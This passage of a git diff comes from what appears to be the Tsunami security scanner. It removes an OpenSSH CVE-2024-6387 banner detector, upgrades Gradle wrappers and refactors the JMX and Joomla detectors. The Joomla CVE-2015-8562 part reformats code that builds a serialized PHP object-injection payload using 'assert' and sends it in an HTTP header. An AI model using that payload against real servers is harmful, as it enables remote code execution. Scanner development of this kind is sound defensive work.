(tsunami-dev@google.com)", - bootstrapModule = Cve20246387DetectorBootstrapModule.class) -public final class Cve20246387Detector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private static final ImmutableList VULNERABLE_BANNER_VERSIONS_SUFFIX = - ImmutableList.of( - // Ubuntu - "8.8p1 Ubuntu-1", - "8.9p1 Ubuntu-3", - "8.9p1 Ubuntu-3ubuntu0.1", - "8.9p1 Ubuntu-3ubuntu0.3", - "8.9p1 Ubuntu-3ubuntu0.4", - "8.9p1 Ubuntu-3ubuntu0.5", - "8.9p1 Ubuntu-3ubuntu0.6", - "8.9p1 Ubuntu-3ubuntu0.7", - "8.9p1 Ubuntu-3ubuntu0.7+Fips1", - "9.0p1 Ubuntu-1ubuntu7", - "9.0p1 Ubuntu-1ubuntu7.1", - "9.0p1 Ubuntu-1ubuntu8.4", - "9.0p1 Ubuntu-1ubuntu8.7", - "9.3p1 Ubuntu-1ubuntu3.2", - "9.3p1 Ubuntu-1ubuntu3.3", - "9.6p1 Ubuntu-3ubuntu13", - // Debian - "8.7p1 Debian-4", - "9.0p1 Debian-1+b1", - "9.2p1 Debian-2", - "9.2p1 Debian-2+deb12u1", - "9.2p1 Debian-2+deb12u2", - "9.3p1 Debian-1", - "9.4p1 Debian-1", - "9.6p1 Debian-2", - "9.6p1 Debian-3", - "9.6p1 Debian-4", - "9.7p1 Debian-4", - "9.7p1 Debian-5", - "9.7p1 Debian-6"); - - @VisibleForTesting - static final String TITLE = - "CVE-2024-6387 Unauthenticated Remote Code Execution in OpenSSH Server"; - - @VisibleForTesting - static final String DESCRIPTION = - "A signal handler race condition was found in OpenSSH's server (sshd), where a client does" - + " not authenticate within LoginGraceTime seconds (120 by default, 600 in old OpenSSH" - + " versions), then sshd's SIGALRM handler is called asynchronously. However, this signal" - + " handler calls various functions that are not async-signal-safe, for example," - + " syslog()."; - - @VisibleForTesting - static final String RECOMMENDATION = - "Upgrade OpenSSH to the latest version or restrict the access to the SSH server to trusted" - + " peers. When upgrade is not available, you could set the `LoginGraceTime` parameter to" - + " 0 in OpenSSH config file at `/etc/ssh/sshd_config` and restart the OpenSSH server."; - - private final Clock utcClock; - - @Inject - Cve20246387Detector(@UtcClock Clock utcClock) { - this.utcClock = checkNotNull(utcClock); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("Scanning CVE-2024-6387 via banner comparison."); - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(this::hasOpenSshBanner) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean hasOpenSshBanner(NetworkService networkService) { - return networkService.getBannerCount() > 0 - && networkService.getBannerList().stream() - .anyMatch(banner -> banner.contains("SSH-2.0-OpenSSH")); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - return networkService.getBannerList().stream() - .map(String::trim) - .anyMatch(banner -> VULNERABLE_BANNER_VERSIONS_SUFFIX.stream().anyMatch(banner::endsWith)); - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService networkService) { - ImmutableList additionalDetails = - networkService.getBannerList().stream() - .map( - banner -> - AdditionalDetail.newBuilder() - .setTextData(TextData.newBuilder().setText(banner)) - .build()) - .collect(toImmutableList()); - - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(networkService) - .setDetectionTimestamp(Timestamps.fromMillis(utcClock.millis())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_PRESENT) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2024-6387")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-6387")) - .setSeverity(Severity.CRITICAL) - .setTitle(TITLE) - .setDescription(DESCRIPTION) - .setRecommendation(RECOMMENDATION) - .addAllAdditionalDetails(additionalDetails)) - .build(); - } -} diff --git a/google/detectors/rce/cve20246387/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorTest.java b/google/detectors/rce/cve20246387/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorTest.java deleted file mode 100644 index 880d714d3..000000000 --- a/google/detectors/rce/cve20246387/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorTest.java +++ /dev/null @@ -1,174 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.cve20246387; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.rce.cve20246387.Cve20246387Detector.DESCRIPTION; -import static com.google.tsunami.plugins.detectors.rce.cve20246387.Cve20246387Detector.RECOMMENDATION; -import static com.google.tsunami.plugins.detectors.rce.cve20246387.Cve20246387Detector.TITLE; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.proto.AdditionalDetail; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TextData; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.time.Instant; -import javax.inject.Inject; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link Cve20246387Detector} */ -@RunWith(JUnit4.class) -public final class Cve20246387DetectorTest { - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - - @Inject Cve20246387Detector detector; - - @Before - public void setUp() { - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), new Cve20246387DetectorBootstrapModule()) - .injectMembers(this); - } - - @Test - public void detect_noBanner_returnsEmpty() { - var targetNetworkService = - NetworkService.newBuilder().setNetworkEndpoint(forHostnameAndPort("localhost", 22)).build(); - var targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - @Test - public void detect_nonSshBanner_returnsEmpty() { - var targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint(forHostnameAndPort("localhost", 22)) - .addBanner("irrelevant") - .build(); - var targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - @Test - public void detect_nonVulnerableSshBanner_returnsNoFinding() { - var targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint(forHostnameAndPort("localhost", 22)) - .addBanner("\n\nSSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3") - .build(); - var targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - @Test - public void detect_nonVulnerableGenericSshBanner_returnsNoFinding() { - var targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint(forHostnameAndPort("localhost", 22)) - .addBanner("\n\nSSH-2.0-OpenSSH_8.0") - .build(); - var targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - @Test - public void detect_vulnerableSshBanner_returnsVulnerability() { - var targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint(forHostnameAndPort("localhost", 22)) - .addBanner("SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13") - .build(); - var targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(targetNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_PRESENT) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE-2024-6387")) - .addRelatedId( - VulnerabilityId.newBuilder() - .setPublisher("CVE") - .setValue("CVE-2024-6387")) - .setSeverity(Severity.CRITICAL) - .setTitle(TITLE) - .setDescription(DESCRIPTION) - .setRecommendation(RECOMMENDATION) - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText("SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13")) - .build())) - .build()); - } -} diff --git a/google/detectors/rce/java_jmx/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/java_jmx/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/java_jmx/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/java_jmx/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/java_jmx/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/java_jmx/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/java_jmx/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/java_jmx/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/java_jmx/gradlew b/google/detectors/rce/java_jmx/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/java_jmx/gradlew +++ b/google/detectors/rce/java_jmx/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/java_jmx/gradlew.bat b/google/detectors/rce/java_jmx/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/java_jmx/gradlew.bat +++ b/google/detectors/rce/java_jmx/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/java_jmx/src/main/java/com/google/tsunami/plugins/detectors/rce/java/JavaJmxRceDetector.java b/google/detectors/rce/java_jmx/src/main/java/com/google/tsunami/plugins/detectors/rce/java/JavaJmxRceDetector.java index 7e7d1d36d..605aeef0e 100644 --- a/google/detectors/rce/java_jmx/src/main/java/com/google/tsunami/plugins/detectors/rce/java/JavaJmxRceDetector.java +++ b/google/detectors/rce/java_jmx/src/main/java/com/google/tsunami/plugins/detectors/rce/java/JavaJmxRceDetector.java @@ -72,6 +72,25 @@ public final class JavaJmxRceDetector implements VulnDetector { this.utcClock = checkNotNull(utcClock); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("JAVA_UNPROTECTED_JMX_RMI_SERVER")) + .setSeverity(Severity.CRITICAL) + .setTitle("Unprotected Java JMX RMI Server") + .setDescription( + "Java Management Extension (JMX) allows remote monitoring and diagnostics for Java" + + " applications. Running JMX with unprotected RMI endpoint allows any remote" + + " users to create a javax.management.loading.MLet MBean and use it to create" + + " new MBeans from arbitrary URLs.") + .setRecommendation("Enable authentication and upgrade to the latest JDK environment.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -131,21 +150,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("JAVA_UNPROTECTED_JMX_RMI_SERVER")) - .setSeverity(Severity.CRITICAL) - .setTitle("Unprotected Java JMX RMI Server") - .setDescription( - "Java Management Extension (JMX) allows remote monitoring and diagnostics for" - + " Java applications. Running JMX with unprotected RMI endpoint allows" - + " any remote users to create a javax.management.loading.MLet MBean and" - + " use it to create new MBeans from arbitrary URLs.") - .setRecommendation( - "Enable authentication and upgrade to the latest JDK environment.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } diff --git a/google/detectors/rce/java_jmx/src/test/java/com/google/tsunami/plugins/detectors/rce/java/JavaJmxRceDetectorTest.java b/google/detectors/rce/java_jmx/src/test/java/com/google/tsunami/plugins/detectors/rce/java/JavaJmxRceDetectorTest.java index 07d6bc5bb..de3719aa7 100644 --- a/google/detectors/rce/java_jmx/src/test/java/com/google/tsunami/plugins/detectors/rce/java/JavaJmxRceDetectorTest.java +++ b/google/detectors/rce/java_jmx/src/test/java/com/google/tsunami/plugins/detectors/rce/java/JavaJmxRceDetectorTest.java @@ -27,10 +27,7 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.lang.management.ManagementFactory; import java.rmi.registry.LocateRegistry; import java.time.Instant; @@ -120,22 +117,7 @@ public void detect_whenJMXServiceRunningUnprotected_returnsVulnerability() throw .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("JAVA_UNPROTECTED_JMX_RMI_SERVER")) - .setSeverity(Severity.CRITICAL) - .setTitle("Unprotected Java JMX RMI Server") - .setDescription( - "Java Management Extension (JMX) allows remote monitoring and" - + " diagnostics for Java applications. Running JMX with" - + " unprotected RMI endpoint allows any remote users to create a" - + " javax.management.loading.MLet MBean and use it to create new" - + " MBeans from arbitrary URLs.") - .setRecommendation( - "Enable authentication and upgrade to the latest JDK environment.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/joomla/cve20158562/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/joomla/cve20158562/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/joomla/cve20158562/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/joomla/cve20158562/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/joomla/cve20158562/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/joomla/cve20158562/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/joomla/cve20158562/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/joomla/cve20158562/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/joomla/cve20158562/gradlew b/google/detectors/rce/joomla/cve20158562/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/joomla/cve20158562/gradlew +++ b/google/detectors/rce/joomla/cve20158562/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/joomla/cve20158562/gradlew.bat b/google/detectors/rce/joomla/cve20158562/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/joomla/cve20158562/gradlew.bat +++ b/google/detectors/rce/joomla/cve20158562/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/joomla/cve20158562/src/main/java/com/google/tsunami/plugins/detectors/rce/joomla/cve20158562/JoomlaCve20158562Detector.java b/google/detectors/rce/joomla/cve20158562/src/main/java/com/google/tsunami/plugins/detectors/rce/joomla/cve20158562/JoomlaCve20158562Detector.java index a0366dd21..3cd7da86c 100644 --- a/google/detectors/rce/joomla/cve20158562/src/main/java/com/google/tsunami/plugins/detectors/rce/joomla/cve20158562/JoomlaCve20158562Detector.java +++ b/google/detectors/rce/joomla/cve20158562/src/main/java/com/google/tsunami/plugins/detectors/rce/joomla/cve20158562/JoomlaCve20158562Detector.java @@ -85,6 +85,24 @@ public final class JoomlaCve20158562Detector implements VulnDetector { this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2015_8562")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2015-8562")) + .setTitle("Joomla RCE via PHP object injection in HTTP headers (CVE-2015-8562)") + .setDescription( + "The Joomla application is vulnerable to CVE-2015-8562, which allow remote" + + " attackers to conduct PHP object injection attacks and execute" + + " arbitrary PHP code via the HTTP User-Agent header.") + .setRecommendation("Upgrade to Joomla 3.4.6 or greater.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -195,14 +213,18 @@ private static byte[] buildPhpObjectPayload(String assertPayload) throws IOExcep "}__fake|O:21:\"JDatabaseDriverMysqli\":3:{" + "s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}" + "s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{" - + "i:0;a:2:{" - + "i:0;O:9:\"SimplePie\":5:{" - + "s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}" - + "s:8:\"feed_url\";s:" + assertPayload.length() + ":\"" + assertPayload + "\";" - + "s:19:\"cache_name_function\";s:6:\"assert\";" - + "s:5:\"cache\";b:1;" - + "s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}" - + "i:1;s:4:\"init\";}}" + + "i:0;a:2:{" + + "i:0;O:9:\"SimplePie\":5:{" + + "s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}" + + "s:8:\"feed_url\";s:" + + assertPayload.length() + + ":\"" + + assertPayload + + "\";" + + "s:19:\"cache_name_function\";s:6:\"assert\";" + + "s:5:\"cache\";b:1;" + + "s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}" + + "i:1;s:4:\"init\";}}" + "s:13:\"\\0\\0\\0connection\";b:1;}"; ByteArrayOutputStream payloadByteArray = new ByteArrayOutputStream(); payloadByteArray.write(payloadString.getBytes(UTF_8)); @@ -213,19 +235,27 @@ private static byte[] buildPhpObjectPayload(String assertPayload) throws IOExcep } private static byte[] buildHttpRequestWithPayload( - HostAndPort hostAndPort, ImmutableList cookies, - byte[] phpObjectPayload) throws IOException { + HostAndPort hostAndPort, ImmutableList cookies, byte[] phpObjectPayload) + throws IOException { // Both User-Agent and X-Forwarded-For are vulnerable to injection. // We use X-Forwarded-For since we're already using User-Agent for the Tsunami user agent. String httpRequestString = "GET / HTTP/1.1\r\n" - + "Host: " + hostAndPort.getHost() + ":" + hostAndPort.getPort() + "\r\n" - + "Connection: keep-alive\r\n" - + "Accept-Encoding: gzip\r\n" - + "Accept: */*\r\n" - + "User-Agent: " + TSUNAMI_USER_AGENT + "\r\n" - + "Cookie: " + String.join("; ", cookies) + "\r\n" - + "X-Forwarded-For: "; + + "Host: " + + hostAndPort.getHost() + + ":" + + hostAndPort.getPort() + + "\r\n" + + "Connection: keep-alive\r\n" + + "Accept-Encoding: gzip\r\n" + + "Accept: */*\r\n" + + "User-Agent: " + + TSUNAMI_USER_AGENT + + "\r\n" + + "Cookie: " + + String.join("; ", cookies) + + "\r\n" + + "X-Forwarded-For: "; ByteArrayOutputStream httpRequestByteArray = new ByteArrayOutputStream(); httpRequestByteArray.write(httpRequestString.getBytes(UTF_8)); httpRequestByteArray.write(phpObjectPayload); @@ -240,17 +270,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2015_8562")) - 